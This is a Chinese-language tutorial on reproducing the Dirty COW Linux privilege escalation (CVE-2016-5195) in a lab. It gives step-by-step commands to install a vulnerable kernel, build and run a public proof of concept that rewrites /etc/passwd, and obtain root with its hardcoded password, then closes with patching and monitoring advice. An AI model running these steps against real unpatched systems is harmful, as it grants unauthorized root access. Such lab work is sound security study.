CVE-2016-5195（脏牛漏洞）

一、漏洞原理与影响范围

1. 核心机制

• 写时复制（COW）缺陷：内核在处理只读内存页写入时，因竞争条件导致未正确创建新副本，直接修改原始文件。

• 提权逻辑：通过修改 /etc/passwd 等关键文件，注入高权限用户或篡改现有用户权限。

2. 影响范围

• 内核版本：2.6.22 ~ 4.8.3（2016 年 10 月 18 日修复）。

• 环境要求：需手动更换受影响内核，新内核（>4.8.3）已修复。

二、复现环境搭建

1. 更换受影响内核

# 安装旧内核  
sudo apt-get install linux-image-4.4.0-21-generic linux-headers-4.4.0-21-generic  
​
# 配置 GRUB 启动项  
sudo nano /etc/default/grub  
GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 4.4.0-21-generic"  
sudo update-grub && sudo reboot  
​
# 验证内核版本  
uname -r  # 需输出 4.4.0-21-generic

2. 安装编译依赖

sudo apt-get install build-essential gcc g++ make git

三、漏洞利用步骤

1. 获取与编译 POC

# 克隆 POC 仓库（以 gbonacini 版为例）  
git clone https://github.com/gbonacini/CVE-2016-5195 && cd CVE-2016-5195  
​
# 编译生成可执行文件  
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

2. 备份关键文件（必做！）

sudo cp /etc/passwd /etc/passwd.bak

3. 运行 POC 并提权

# 普通用户执行（非 root）  
./dcow  # 基础模式，修改 /etc/passwd  
# 或  
./dcow -s  # 自动提权并恢复（推荐）

4. 动态检查提权结果

# 查看 /etc/passwd 变更  
cat /etc/passwd | grep -i 'root\|0:0'  
​
# 示例：发现被篡改的 root 用户  
su root 
输入密码：dirtyCowFun（POC 硬编码密码）  
whoami  # 输出 root 则成功

5. 系统恢复

sudo cp /etc/passwd.bak /etc/passwd

四、关键注意事项

1. POC 逻辑差异

   • 不同 POC 可能篡改不同用户（如 daemon、syslog），必须通过 cat /etc/passwd 确认实际用户名。

   • 若运行失败，多次尝试（漏洞依赖线程竞争，成功率非 100%）。

2. 环境兼容性

   • 确保使用 Ubuntu 16.04 或类似发行版，避免因系统差异导致失败。

   • 编译时若报错，检查 g++ 版本是否兼容 C++11 标准。

3. 法律与安全风险

   • 仅限授权测试环境，禁止未授权使用。

   • 测试后务必还原 /etc/passwd，避免权限混乱。

4. 漏洞扩展

   • 大脏牛漏洞（CVE-2017-1000405）：原漏洞补丁缺陷，需关闭透明大页（THP）缓解。

五、修复建议（生产环境）

1. 更新内核

   • 升级至 4.8.3 以上版本，彻底修复漏洞。

2. 临时防护

   • 关闭透明大页：echo never > /sys/kernel/mm/transparent_hugepage/enabled。

3. 监控与审计

   • 使用 Tripwire 等工具监控 /etc/passwd 等关键文件变更。